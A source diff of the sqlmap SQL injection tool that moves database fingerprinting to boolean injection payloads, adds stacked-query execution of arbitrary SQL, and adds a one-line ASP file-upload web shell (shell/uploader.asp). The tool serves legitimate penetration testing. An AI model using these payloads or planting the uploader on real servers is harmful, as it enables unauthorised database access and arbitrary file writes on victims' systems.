|||||||
@@ -5,7 +5,7 @@ $Id$
|
|||||||
|
|
||||||
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
|
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
|
||||||
|
|
||||||
Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
Copyright (c) 2006-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
||||||
and Daniele Bellucci <daniele.bellucci@gmail.com>
|
and Daniele Bellucci <daniele.bellucci@gmail.com>
|
||||||
|
|
||||||
sqlmap is free software; you can redistribute it and/or modify it under
|
sqlmap is free software; you can redistribute it and/or modify it under
|
||||||
|
|||||||
@@ -5,7 +5,7 @@ $Id$
|
|||||||
|
|
||||||
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
|
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
|
||||||
|
|
||||||
Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
Copyright (c) 2006-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
||||||
and Daniele Bellucci <daniele.bellucci@gmail.com>
|
and Daniele Bellucci <daniele.bellucci@gmail.com>
|
||||||
|
|
||||||
sqlmap is free software; you can redistribute it and/or modify it under
|
sqlmap is free software; you can redistribute it and/or modify it under
|
||||||
|
|||||||
@@ -5,7 +5,7 @@ $Id$
|
|||||||
|
|
||||||
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
|
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
|
||||||
|
|
||||||
Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
Copyright (c) 2006-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
||||||
and Daniele Bellucci <daniele.bellucci@gmail.com>
|
and Daniele Bellucci <daniele.bellucci@gmail.com>
|
||||||
|
|
||||||
sqlmap is free software; you can redistribute it and/or modify it under
|
sqlmap is free software; you can redistribute it and/or modify it under
|
||||||
@@ -176,19 +176,26 @@ class MSSQLServerMap(Fingerprint, Enumeration, Filesystem, Takeover):
|
|||||||
logMsg = "testing Microsoft SQL Server"
|
logMsg = "testing Microsoft SQL Server"
|
||||||
logger.info(logMsg)
|
logger.info(logMsg)
|
||||||
|
|
||||||
randInt = str(randomInt(1))
|
payload = agent.fullPayload(" AND LEN(@@VERSION)=LEN(@@VERSION)")
|
||||||
query = "LTRIM(STR(LEN(%s)))" % randInt
|
result = Request.queryPage(payload)
|
||||||
|
|
||||||
if inject.getValue(query) == "1":
|
if result == True:
|
||||||
query = "SELECT SUBSTRING((@@VERSION), 25, 1)"
|
logMsg = "confirming Microsoft SQL Server"
|
||||||
version = inject.getValue(query)
|
logger.info(logMsg)
|
||||||
|
|
||||||
if version == "8":
|
for version in ( 0, 5, 8 ):
|
||||||
kb.dbmsVersion = ["2008"]
|
payload = agent.fullPayload(" AND SUBSTRING((@@VERSION), 25, 1)=%d" % version)
|
||||||
elif version == "5":
|
result = Request.queryPage(payload)
|
||||||
kb.dbmsVersion = ["2005"]
|
|
||||||
elif version == "0":
|
if result == True:
|
||||||
kb.dbmsVersion = ["2000"]
|
if version == 8:
|
||||||
|
kb.dbmsVersion = ["2008"]
|
||||||
|
elif version == 5:
|
||||||
|
kb.dbmsVersion = ["2005"]
|
||||||
|
elif version == 0:
|
||||||
|
kb.dbmsVersion = ["2000"]
|
||||||
|
|
||||||
|
break
|
||||||
|
|
||||||
if kb.dbmsVersion:
|
if kb.dbmsVersion:
|
||||||
setDbms("Microsoft SQL Server %s" % kb.dbmsVersion[0])
|
setDbms("Microsoft SQL Server %s" % kb.dbmsVersion[0])
|
||||||
|
|||||||
@@ -5,7 +5,7 @@ $Id$
|
|||||||
|
|
||||||
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
|
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
|
||||||
|
|
||||||
Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
Copyright (c) 2006-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
||||||
and Daniele Bellucci <daniele.bellucci@gmail.com>
|
and Daniele Bellucci <daniele.bellucci@gmail.com>
|
||||||
|
|
||||||
sqlmap is free software; you can redistribute it and/or modify it under
|
sqlmap is free software; you can redistribute it and/or modify it under
|
||||||
@@ -133,7 +133,7 @@ class MySQLMap(Fingerprint, Enumeration, Filesystem, Takeover):
|
|||||||
payload = agent.payload(newValue=query)
|
payload = agent.payload(newValue=query)
|
||||||
result = Request.queryPage(payload)
|
result = Request.queryPage(payload)
|
||||||
|
|
||||||
if result != kb.defaultResult:
|
if result != True:
|
||||||
warnMsg = "unable to perform MySQL comment injection"
|
warnMsg = "unable to perform MySQL comment injection"
|
||||||
logger.warn(warnMsg)
|
logger.warn(warnMsg)
|
||||||
|
|
||||||
@@ -161,7 +161,7 @@ class MySQLMap(Fingerprint, Enumeration, Filesystem, Takeover):
|
|||||||
payload = agent.payload(newValue=query)
|
payload = agent.payload(newValue=query)
|
||||||
result = Request.queryPage(payload)
|
result = Request.queryPage(payload)
|
||||||
|
|
||||||
if result == kb.defaultResult:
|
if result == True:
|
||||||
if not prevVer:
|
if not prevVer:
|
||||||
prevVer = version
|
prevVer = version
|
||||||
|
|
||||||
@@ -249,15 +249,18 @@ class MySQLMap(Fingerprint, Enumeration, Filesystem, Takeover):
|
|||||||
logger.info(logMsg)
|
logger.info(logMsg)
|
||||||
|
|
||||||
randInt = str(randomInt(1))
|
randInt = str(randomInt(1))
|
||||||
query = "CONCAT('%s', '%s')" % (randInt, randInt)
|
|
||||||
|
|
||||||
if inject.getValue(query) == (randInt * 2):
|
payload = agent.fullPayload(" AND CONNECTION_ID()=CONNECTION_ID()")
|
||||||
|
result = Request.queryPage(payload)
|
||||||
|
|
||||||
|
if result == True:
|
||||||
logMsg = "confirming MySQL"
|
logMsg = "confirming MySQL"
|
||||||
logger.info(logMsg)
|
logger.info(logMsg)
|
||||||
|
|
||||||
query = "LENGTH('%s')" % randInt
|
payload = agent.fullPayload(" AND ISNULL(1/0)")
|
||||||
|
result = Request.queryPage(payload)
|
||||||
|
|
||||||
if not inject.getValue(query) == "1":
|
if result != True:
|
||||||
warnMsg = "the back-end DMBS is not MySQL"
|
warnMsg = "the back-end DMBS is not MySQL"
|
||||||
logger.warn(warnMsg)
|
logger.warn(warnMsg)
|
||||||
|
|
||||||
@@ -282,23 +285,15 @@ class MySQLMap(Fingerprint, Enumeration, Filesystem, Takeover):
|
|||||||
kb.dbmsVersion = [">= 6.0.3", "< 6.0.5"]
|
kb.dbmsVersion = [">= 6.0.3", "< 6.0.5"]
|
||||||
|
|
||||||
# Or if it MySQL >= 5.1.2 and < 6.0.3
|
# Or if it MySQL >= 5.1.2 and < 6.0.3
|
||||||
elif inject.getValue("MID(@@plugin_dir, 1, 1)"):
|
elif inject.getValue("MID(@@table_open_cache, 1, 1)"):
|
||||||
if inject.getValue("SELECT %s FROM information_schema.PROFILING LIMIT 0, 1" % randInt) == randInt:
|
if inject.getValue("SELECT %s FROM information_schema.PROCESSLIST LIMIT 0, 1" % randInt) == randInt:
|
||||||
kb.dbmsVersion = [">= 5.1.28", "< 6.0.3"]
|
kb.dbmsVersion = [">= 5.1.7", "< 6.0.3"]
|
||||||
elif inject.getValue("MID(@@innodb_stats_on_metadata, 1, 1)"):
|
|
||||||
kb.dbmsVersion = [">= 5.1.17", "< 5.1.28"]
|
|
||||||
elif inject.getValue("SELECT %s FROM information_schema.REFERENTIAL_CONSTRAINTS LIMIT 0, 1" % randInt) == randInt:
|
|
||||||
kb.dbmsVersion = [">= 5.1.10", "< 5.1.17"]
|
|
||||||
elif inject.getValue("SELECT %s FROM information_schema.PROCESSLIST LIMIT 0, 1" % randInt) == randInt:
|
|
||||||
kb.dbmsVersion = [">= 5.1.7", "< 5.1.10"]
|
|
||||||
elif inject.getValue("SELECT %s FROM information_schema.PARTITIONS LIMIT 0, 1" % randInt) == randInt:
|
elif inject.getValue("SELECT %s FROM information_schema.PARTITIONS LIMIT 0, 1" % randInt) == randInt:
|
||||||
kb.dbmsVersion = ["= 5.1.6"]
|
kb.dbmsVersion = ["= 5.1.6"]
|
||||||
elif inject.getValue("SELECT %s FROM information_schema.PLUGINS LIMIT 0, 1" % randInt) == randInt:
|
elif inject.getValue("SELECT %s FROM information_schema.PLUGINS LIMIT 0, 1" % randInt) == randInt:
|
||||||
kb.dbmsVersion = [">= 5.1.5", "< 5.1.6"]
|
kb.dbmsVersion = [">= 5.1.5", "< 5.1.6"]
|
||||||
elif inject.getValue("MID(@@table_open_cache, 1, 1)"):
|
|
||||||
kb.dbmsVersion = [">= 5.1.3", "< 5.1.5"]
|
|
||||||
else:
|
else:
|
||||||
kb.dbmsVersion = ["= 5.1.2"]
|
kb.dbmsVersion = [">= 5.1.2", "< 5.1.5"]
|
||||||
|
|
||||||
# Or if it is MySQL >= 5.0.0 and < 5.1.2
|
# Or if it is MySQL >= 5.0.0 and < 5.1.2
|
||||||
elif inject.getValue("MID(@@hostname, 1, 1)"):
|
elif inject.getValue("MID(@@hostname, 1, 1)"):
|
||||||
|
|||||||
@@ -5,7 +5,7 @@ $Id$
|
|||||||
|
|
||||||
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
|
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
|
||||||
|
|
||||||
Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
Copyright (c) 2006-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
||||||
and Daniele Bellucci <daniele.bellucci@gmail.com>
|
and Daniele Bellucci <daniele.bellucci@gmail.com>
|
||||||
|
|
||||||
sqlmap is free software; you can redistribute it and/or modify it under
|
sqlmap is free software; you can redistribute it and/or modify it under
|
||||||
@@ -26,6 +26,7 @@ Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
|||||||
|
|
||||||
import re
|
import re
|
||||||
|
|
||||||
|
from lib.core.agent import agent
|
||||||
from lib.core.common import formatDBMSfp
|
from lib.core.common import formatDBMSfp
|
||||||
from lib.core.common import formatFingerprint
|
from lib.core.common import formatFingerprint
|
||||||
from lib.core.common import getHtmlErrorFp
|
from lib.core.common import getHtmlErrorFp
|
||||||
@@ -38,6 +39,7 @@ from lib.core.settings import ORACLE_ALIASES
|
|||||||
from lib.core.settings import ORACLE_SYSTEM_DBS
|
from lib.core.settings import ORACLE_SYSTEM_DBS
|
||||||
from lib.core.unescaper import unescaper
|
from lib.core.unescaper import unescaper
|
||||||
from lib.request import inject
|
from lib.request import inject
|
||||||
|
from lib.request.connect import Connect as Request
|
||||||
|
|
||||||
from plugins.generic.enumeration import Enumeration
|
from plugins.generic.enumeration import Enumeration
|
||||||
from plugins.generic.filesystem import Filesystem
|
from plugins.generic.filesystem import Filesystem
|
||||||
@@ -163,17 +165,17 @@ class OracleMap(Fingerprint, Enumeration, Filesystem, Takeover):
|
|||||||
logMsg = "testing Oracle"
|
logMsg = "testing Oracle"
|
||||||
logger.info(logMsg)
|
logger.info(logMsg)
|
||||||
|
|
||||||
query = "LENGTH(SYSDATE)"
|
payload = agent.fullPayload(" AND ROWNUM=ROWNUM")
|
||||||
sysdate = inject.getValue(query)
|
result = Request.queryPage(payload)
|
||||||
|
|
||||||
if sysdate and int(sysdate) > 0:
|
if result == True:
|
||||||
logMsg = "confirming Oracle"
|
logMsg = "confirming Oracle"
|
||||||
logger.info(logMsg)
|
logger.info(logMsg)
|
||||||
|
|
||||||
query = "SELECT SUBSTR((VERSION), 1, 2) FROM SYS.PRODUCT_COMPONENT_VERSION WHERE ROWNUM=1"
|
payload = agent.fullPayload(" AND LENGTH(SYSDATE)=LENGTH(SYSDATE)")
|
||||||
version = inject.getValue(query)
|
result = Request.queryPage(payload)
|
||||||
|
|
||||||
if not version:
|
if result != True:
|
||||||
warnMsg = "the back-end DMBS is not Oracle"
|
warnMsg = "the back-end DMBS is not Oracle"
|
||||||
logger.warn(warnMsg)
|
logger.warn(warnMsg)
|
||||||
|
|
||||||
@@ -186,6 +188,9 @@ class OracleMap(Fingerprint, Enumeration, Filesystem, Takeover):
|
|||||||
if not conf.extensiveFp:
|
if not conf.extensiveFp:
|
||||||
return True
|
return True
|
||||||
|
|
||||||
|
query = "SELECT SUBSTR((VERSION), 1, 2) FROM SYS.PRODUCT_COMPONENT_VERSION WHERE ROWNUM=1"
|
||||||
|
version = inject.getValue(query)
|
||||||
|
|
||||||
if re.search("^11", version):
|
if re.search("^11", version):
|
||||||
kb.dbmsVersion = ["11i"]
|
kb.dbmsVersion = ["11i"]
|
||||||
elif re.search("^10", version):
|
elif re.search("^10", version):
|
||||||
|
|||||||
@@ -5,7 +5,7 @@ $Id$
|
|||||||
|
|
||||||
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
|
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
|
||||||
|
|
||||||
Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
Copyright (c) 2006-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
||||||
and Daniele Bellucci <daniele.bellucci@gmail.com>
|
and Daniele Bellucci <daniele.bellucci@gmail.com>
|
||||||
|
|
||||||
sqlmap is free software; you can redistribute it and/or modify it under
|
sqlmap is free software; you can redistribute it and/or modify it under
|
||||||
@@ -26,6 +26,7 @@ Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
|||||||
|
|
||||||
import re
|
import re
|
||||||
|
|
||||||
|
from lib.core.agent import agent
|
||||||
from lib.core.common import formatDBMSfp
|
from lib.core.common import formatDBMSfp
|
||||||
from lib.core.common import formatFingerprint
|
from lib.core.common import formatFingerprint
|
||||||
from lib.core.common import getHtmlErrorFp
|
from lib.core.common import getHtmlErrorFp
|
||||||
@@ -39,6 +40,7 @@ from lib.core.settings import PGSQL_ALIASES
|
|||||||
from lib.core.settings import PGSQL_SYSTEM_DBS
|
from lib.core.settings import PGSQL_SYSTEM_DBS
|
||||||
from lib.core.unescaper import unescaper
|
from lib.core.unescaper import unescaper
|
||||||
from lib.request import inject
|
from lib.request import inject
|
||||||
|
from lib.request.connect import Connect as Request
|
||||||
|
|
||||||
from plugins.generic.enumeration import Enumeration
|
from plugins.generic.enumeration import Enumeration
|
||||||
from plugins.generic.filesystem import Filesystem
|
from plugins.generic.filesystem import Filesystem
|
||||||
@@ -168,15 +170,18 @@ class PostgreSQLMap(Fingerprint, Enumeration, Filesystem, Takeover):
|
|||||||
logger.info(logMsg)
|
logger.info(logMsg)
|
||||||
|
|
||||||
randInt = str(randomInt(1))
|
randInt = str(randomInt(1))
|
||||||
query = "COALESCE(%s, NULL)" % randInt
|
|
||||||
|
|
||||||
if inject.getValue(query) == randInt:
|
payload = agent.fullPayload(" AND %s::int=%s" % (randInt, randInt))
|
||||||
|
result = Request.queryPage(payload)
|
||||||
|
|
||||||
|
if result == True:
|
||||||
logMsg = "confirming PostgreSQL"
|
logMsg = "confirming PostgreSQL"
|
||||||
logger.info(logMsg)
|
logger.info(logMsg)
|
||||||
|
|
||||||
query = "LENGTH('%s')" % randInt
|
payload = agent.fullPayload(" AND COALESCE(%s, NULL)=%s" % (randInt, randInt))
|
||||||
|
result = Request.queryPage(payload)
|
||||||
|
|
||||||
if not inject.getValue(query) == "1":
|
if result != True:
|
||||||
warnMsg = "the back-end DMBS is not PostgreSQL"
|
warnMsg = "the back-end DMBS is not PostgreSQL"
|
||||||
logger.warn(warnMsg)
|
logger.warn(warnMsg)
|
||||||
|
|
||||||
|
|||||||
@@ -5,7 +5,7 @@ $Id$
|
|||||||
|
|
||||||
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
|
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
|
||||||
|
|
||||||
Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
Copyright (c) 2006-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
||||||
and Daniele Bellucci <daniele.bellucci@gmail.com>
|
and Daniele Bellucci <daniele.bellucci@gmail.com>
|
||||||
|
|
||||||
sqlmap is free software; you can redistribute it and/or modify it under
|
sqlmap is free software; you can redistribute it and/or modify it under
|
||||||
|
|||||||
@@ -5,7 +5,7 @@ $Id$
|
|||||||
|
|
||||||
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
|
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
|
||||||
|
|
||||||
Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
Copyright (c) 2006-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
||||||
and Daniele Bellucci <daniele.bellucci@gmail.com>
|
and Daniele Bellucci <daniele.bellucci@gmail.com>
|
||||||
|
|
||||||
sqlmap is free software; you can redistribute it and/or modify it under
|
sqlmap is free software; you can redistribute it and/or modify it under
|
||||||
@@ -39,11 +39,13 @@ from lib.core.exception import sqlmapMissingMandatoryOptionException
|
|||||||
from lib.core.exception import sqlmapNoneDataException
|
from lib.core.exception import sqlmapNoneDataException
|
||||||
from lib.core.exception import sqlmapUndefinedMethod
|
from lib.core.exception import sqlmapUndefinedMethod
|
||||||
from lib.core.exception import sqlmapUnsupportedFeatureException
|
from lib.core.exception import sqlmapUnsupportedFeatureException
|
||||||
|
from lib.core.settings import SQL_STATEMENTS
|
||||||
from lib.core.shell import autoCompletion
|
from lib.core.shell import autoCompletion
|
||||||
from lib.core.unescaper import unescaper
|
from lib.core.unescaper import unescaper
|
||||||
from lib.parse.banner import bannerParser
|
from lib.parse.banner import bannerParser
|
||||||
from lib.request import inject
|
from lib.request import inject
|
||||||
from lib.request.connect import Connect as Request
|
from lib.request.connect import Connect as Request
|
||||||
|
from lib.techniques.outband.stacked import stackedTest
|
||||||
|
|
||||||
|
|
||||||
class Enumeration:
|
class Enumeration:
|
||||||
@@ -120,7 +122,7 @@ class Enumeration:
|
|||||||
infoMsg = "testing if current user is DBA"
|
infoMsg = "testing if current user is DBA"
|
||||||
logger.info(infoMsg)
|
logger.info(infoMsg)
|
||||||
|
|
||||||
query = queries[kb.dbms].isDba
|
query = agent.forgeCaseStatement(queries[kb.dbms].isDba)
|
||||||
|
|
||||||
self.isDba = inject.getValue(query)
|
self.isDba = inject.getValue(query)
|
||||||
|
|
||||||
@@ -204,6 +206,12 @@ class Enumeration:
|
|||||||
query += " WHERE "
|
query += " WHERE "
|
||||||
query += " OR ".join("%s = '%s'" % (condition, user) for user in users)
|
query += " OR ".join("%s = '%s'" % (condition, user) for user in users)
|
||||||
else:
|
else:
|
||||||
|
if kb.dbms == "MySQL":
|
||||||
|
parsedUser = re.search("[\047]*(.*?)[\047]*\@", conf.user)
|
||||||
|
|
||||||
|
if parsedUser:
|
||||||
|
conf.user = parsedUser.groups()[0]
|
||||||
|
|
||||||
query += " WHERE %s = '%s'" % (condition, conf.user)
|
query += " WHERE %s = '%s'" % (condition, conf.user)
|
||||||
|
|
||||||
value = inject.getValue(query, blind=False)
|
value = inject.getValue(query, blind=False)
|
||||||
@@ -236,7 +244,7 @@ class Enumeration:
|
|||||||
|
|
||||||
for user in users:
|
for user in users:
|
||||||
if kb.dbms == "MySQL":
|
if kb.dbms == "MySQL":
|
||||||
parsedUser = re.search("\047(.*?)\047@'", user)
|
parsedUser = re.search("[\047]*(.*?)[\047]*\@", user)
|
||||||
|
|
||||||
if parsedUser:
|
if parsedUser:
|
||||||
user = parsedUser.groups()[0]
|
user = parsedUser.groups()[0]
|
||||||
@@ -384,6 +392,12 @@ class Enumeration:
|
|||||||
else:
|
else:
|
||||||
query += " OR ".join("%s = '%s'" % (condition, user) for user in users)
|
query += " OR ".join("%s = '%s'" % (condition, user) for user in users)
|
||||||
else:
|
else:
|
||||||
|
if kb.dbms == "MySQL":
|
||||||
|
parsedUser = re.search("[\047]*(.*?)[\047]*\@", conf.user)
|
||||||
|
|
||||||
|
if parsedUser:
|
||||||
|
conf.user = parsedUser.groups()[0]
|
||||||
|
|
||||||
# NOTE: I assume that the user provided is not in
|
# NOTE: I assume that the user provided is not in
|
||||||
# MySQL >= 5.0 syntax 'user'@'host'
|
# MySQL >= 5.0 syntax 'user'@'host'
|
||||||
if kb.dbms == "MySQL" and self.has_information_schema:
|
if kb.dbms == "MySQL" and self.has_information_schema:
|
||||||
@@ -447,6 +461,11 @@ class Enumeration:
|
|||||||
for user in conf.user.split(","):
|
for user in conf.user.split(","):
|
||||||
users.add("%" + user + "%")
|
users.add("%" + user + "%")
|
||||||
else:
|
else:
|
||||||
|
parsedUser = re.search("[\047]*(.*?)[\047]*\@", conf.user)
|
||||||
|
|
||||||
|
if parsedUser:
|
||||||
|
conf.user = parsedUser.groups()[0]
|
||||||
|
|
||||||
users = [ "%" + conf.user + "%" ]
|
users = [ "%" + conf.user + "%" ]
|
||||||
|
|
||||||
elif "," in conf.user:
|
elif "," in conf.user:
|
||||||
@@ -1038,15 +1057,50 @@ class Enumeration:
|
|||||||
|
|
||||||
|
|
||||||
def sqlQuery(self, query):
|
def sqlQuery(self, query):
|
||||||
infoMsg = "fetching SQL SELECT query output: '%s'" % query
|
output = None
|
||||||
logger.info(infoMsg)
|
selectQuery = True
|
||||||
|
sqlType = None
|
||||||
|
|
||||||
output = inject.getValue(query, fromUser=True)
|
for sqlTitle, sqlStatements in SQL_STATEMENTS.items():
|
||||||
|
for sqlStatement in sqlStatements:
|
||||||
|
if query.lower().startswith(sqlStatement):
|
||||||
|
sqlType = sqlTitle
|
||||||
|
|
||||||
if output == "Quit":
|
if sqlTitle != "SQL SELECT statement":
|
||||||
return None
|
selectQuery = False
|
||||||
|
|
||||||
|
break
|
||||||
|
|
||||||
|
if selectQuery == True:
|
||||||
|
infoMsg = "fetching %s query output: '%s'" % (sqlType, query)
|
||||||
|
logger.info(infoMsg)
|
||||||
|
|
||||||
|
output = inject.getValue(query, fromUser=True)
|
||||||
else:
|
else:
|
||||||
return output
|
if kb.stackedTest == None:
|
||||||
|
stackedTest()
|
||||||
|
|
||||||
|
if kb.stackedTest == False:
|
||||||
|
warnMsg = "the web application does not support "
|
||||||
|
warnMsg += "stacked queries"
|
||||||
|
logger.warn(warnMsg)
|
||||||
|
|
||||||
|
return None
|
||||||
|
else:
|
||||||
|
if sqlType:
|
||||||
|
infoMsg = "executing %s query: '%s'" % (sqlType, query)
|
||||||
|
else:
|
||||||
|
infoMsg = "executing unknown SQL type query: '%s'" % query
|
||||||
|
logger.info(infoMsg)
|
||||||
|
|
||||||
|
inject.goStacked(query)
|
||||||
|
|
||||||
|
infoMsg = "done"
|
||||||
|
logger.info(infoMsg)
|
||||||
|
|
||||||
|
output = False
|
||||||
|
|
||||||
|
return output
|
||||||
|
|
||||||
|
|
||||||
def sqlShell(self):
|
def sqlShell(self):
|
||||||
@@ -1081,5 +1135,9 @@ class Enumeration:
|
|||||||
|
|
||||||
if output and output != "Quit":
|
if output and output != "Quit":
|
||||||
dumper.string(query, output)
|
dumper.string(query, output)
|
||||||
|
|
||||||
|
elif output == False:
|
||||||
|
pass
|
||||||
|
|
||||||
elif output != "Quit":
|
elif output != "Quit":
|
||||||
print "No output"
|
print "No output"
|
||||||
|
|||||||
@@ -5,7 +5,7 @@ $Id$
|
|||||||
|
|
||||||
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
|
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
|
||||||
|
|
||||||
Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
Copyright (c) 2006-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
||||||
and Daniele Bellucci <daniele.bellucci@gmail.com>
|
and Daniele Bellucci <daniele.bellucci@gmail.com>
|
||||||
|
|
||||||
sqlmap is free software; you can redistribute it and/or modify it under
|
sqlmap is free software; you can redistribute it and/or modify it under
|
||||||
|
|||||||
@@ -5,7 +5,7 @@ $Id$
|
|||||||
|
|
||||||
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
|
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
|
||||||
|
|
||||||
Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
Copyright (c) 2006-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
||||||
and Daniele Bellucci <daniele.bellucci@gmail.com>
|
and Daniele Bellucci <daniele.bellucci@gmail.com>
|
||||||
|
|
||||||
sqlmap is free software; you can redistribute it and/or modify it under
|
sqlmap is free software; you can redistribute it and/or modify it under
|
||||||
|
|||||||
@@ -5,7 +5,7 @@ $Id$
|
|||||||
|
|
||||||
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
|
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
|
||||||
|
|
||||||
Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
Copyright (c) 2006-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
||||||
and Daniele Bellucci <daniele.bellucci@gmail.com>
|
and Daniele Bellucci <daniele.bellucci@gmail.com>
|
||||||
|
|
||||||
sqlmap is free software; you can redistribute it and/or modify it under
|
sqlmap is free software; you can redistribute it and/or modify it under
|
||||||
|
|||||||
1
shell/uploader.asp
Normal file
1
shell/uploader.asp
Normal file
@@ -0,0 +1 @@
|
|||||||
|
<%set f = server.createobject("Scripting.FileSystemObject"):set o=f.OpenTextFile(Request("f"), 2, True):o.Write Request("d"):o.Close:set o=Nothing:set f=Nothing%>
|
||||||
14
sqlmap.conf
14
sqlmap.conf
@@ -2,7 +2,6 @@
|
|||||||
|
|
||||||
# Target URL.
|
# Target URL.
|
||||||
# Example: http://192.168.1.121/sqlmap/mysql/get_int.php?id=1&cat=2
|
# Example: http://192.168.1.121/sqlmap/mysql/get_int.php?id=1&cat=2
|
||||||
# PHP and MySQL (local)
|
|
||||||
url =
|
url =
|
||||||
|
|
||||||
# Parse targets from Burp or WebScarab logs
|
# Parse targets from Burp or WebScarab logs
|
||||||
@@ -79,8 +78,8 @@ delay = 0
|
|||||||
|
|
||||||
# Seconds to wait before timeout connection.
|
# Seconds to wait before timeout connection.
|
||||||
# Valid: float
|
# Valid: float
|
||||||
# Default: 10
|
# Default: 30
|
||||||
timeout = 10
|
timeout = 30
|
||||||
|
|
||||||
|
|
||||||
[Injection]
|
[Injection]
|
||||||
@@ -134,7 +133,7 @@ eRegexp =
|
|||||||
# Valid: True or False
|
# Valid: True or False
|
||||||
stackedTest = False
|
stackedTest = False
|
||||||
|
|
||||||
# Test for Time based blind SQL injection.
|
# Test for time based blind SQL injection.
|
||||||
# Valid: True or False
|
# Valid: True or False
|
||||||
timeTest = False
|
timeTest = False
|
||||||
|
|
||||||
@@ -142,6 +141,13 @@ timeTest = False
|
|||||||
# Valid: True or False
|
# Valid: True or False
|
||||||
unionTest = False
|
unionTest = False
|
||||||
|
|
||||||
|
# Technique to test for UNION query SQL injection
|
||||||
|
# The possible techniques are by NULL bruteforcing (bf) or by ORDER BY
|
||||||
|
# clause (ob)
|
||||||
|
# Valid: NULL, OrderBy
|
||||||
|
# Default: NULL
|
||||||
|
uTech = NULL
|
||||||
|
|
||||||
# Use the UNION query (inband) SQL injection to retrieve the queries
|
# Use the UNION query (inband) SQL injection to retrieve the queries
|
||||||
# output. No need to go blind.
|
# output. No need to go blind.
|
||||||
# Valid: True or False
|
# Valid: True or False
|
||||||
|
|||||||
@@ -5,7 +5,7 @@ $Id$
|
|||||||
|
|
||||||
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
|
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
|
||||||
|
|
||||||
Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
Copyright (c) 2006-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
||||||
and Daniele Bellucci <daniele.bellucci@gmail.com>
|
and Daniele Bellucci <daniele.bellucci@gmail.com>
|
||||||
|
|
||||||
sqlmap is free software; you can redistribute it and/or modify it under
|
sqlmap is free software; you can redistribute it and/or modify it under
|
||||||
|
|||||||
@@ -1,12 +1,28 @@
|
|||||||
<?xml version="1.0" ?>
|
<?xml version="1.0" ?>
|
||||||
<root>
|
<root>
|
||||||
<signatures release="2008">
|
<signatures release="2008">
|
||||||
|
<signature>
|
||||||
|
<version>
|
||||||
|
10.00.1779
|
||||||
|
</version>
|
||||||
|
<servicepack>
|
||||||
|
+Q958186
|
||||||
|
</servicepack>
|
||||||
|
</signature>
|
||||||
|
<signature>
|
||||||
|
<version>
|
||||||
|
10.00.1771
|
||||||
|
</version>
|
||||||
|
<servicepack>
|
||||||
|
+Q958611
|
||||||
|
</servicepack>
|
||||||
|
</signature>
|
||||||
<signature>
|
<signature>
|
||||||
<version>
|
<version>
|
||||||
10.00.1750
|
10.00.1750
|
||||||
</version>
|
</version>
|
||||||
<servicepack>
|
<servicepack>
|
||||||
0+Q956718
|
+Q956718
|
||||||
</servicepack>
|
</servicepack>
|
||||||
</signature>
|
</signature>
|
||||||
<signature>
|
<signature>
|
||||||
@@ -43,6 +59,38 @@
|
|||||||
</signature>
|
</signature>
|
||||||
</signatures>
|
</signatures>
|
||||||
<signatures release="2005">
|
<signatures release="2005">
|
||||||
|
<signature>
|
||||||
|
<version>
|
||||||
|
9.00.4207
|
||||||
|
</version>
|
||||||
|
<servicepack>
|
||||||
|
3+Q959195
|
||||||
|
</servicepack>
|
||||||
|
</signature>
|
||||||
|
<signature>
|
||||||
|
<version>
|
||||||
|
9.00.4035
|
||||||
|
</version>
|
||||||
|
<servicepack>
|
||||||
|
+3
|
||||||
|
</servicepack>
|
||||||
|
</signature>
|
||||||
|
<signature>
|
||||||
|
<version>
|
||||||
|
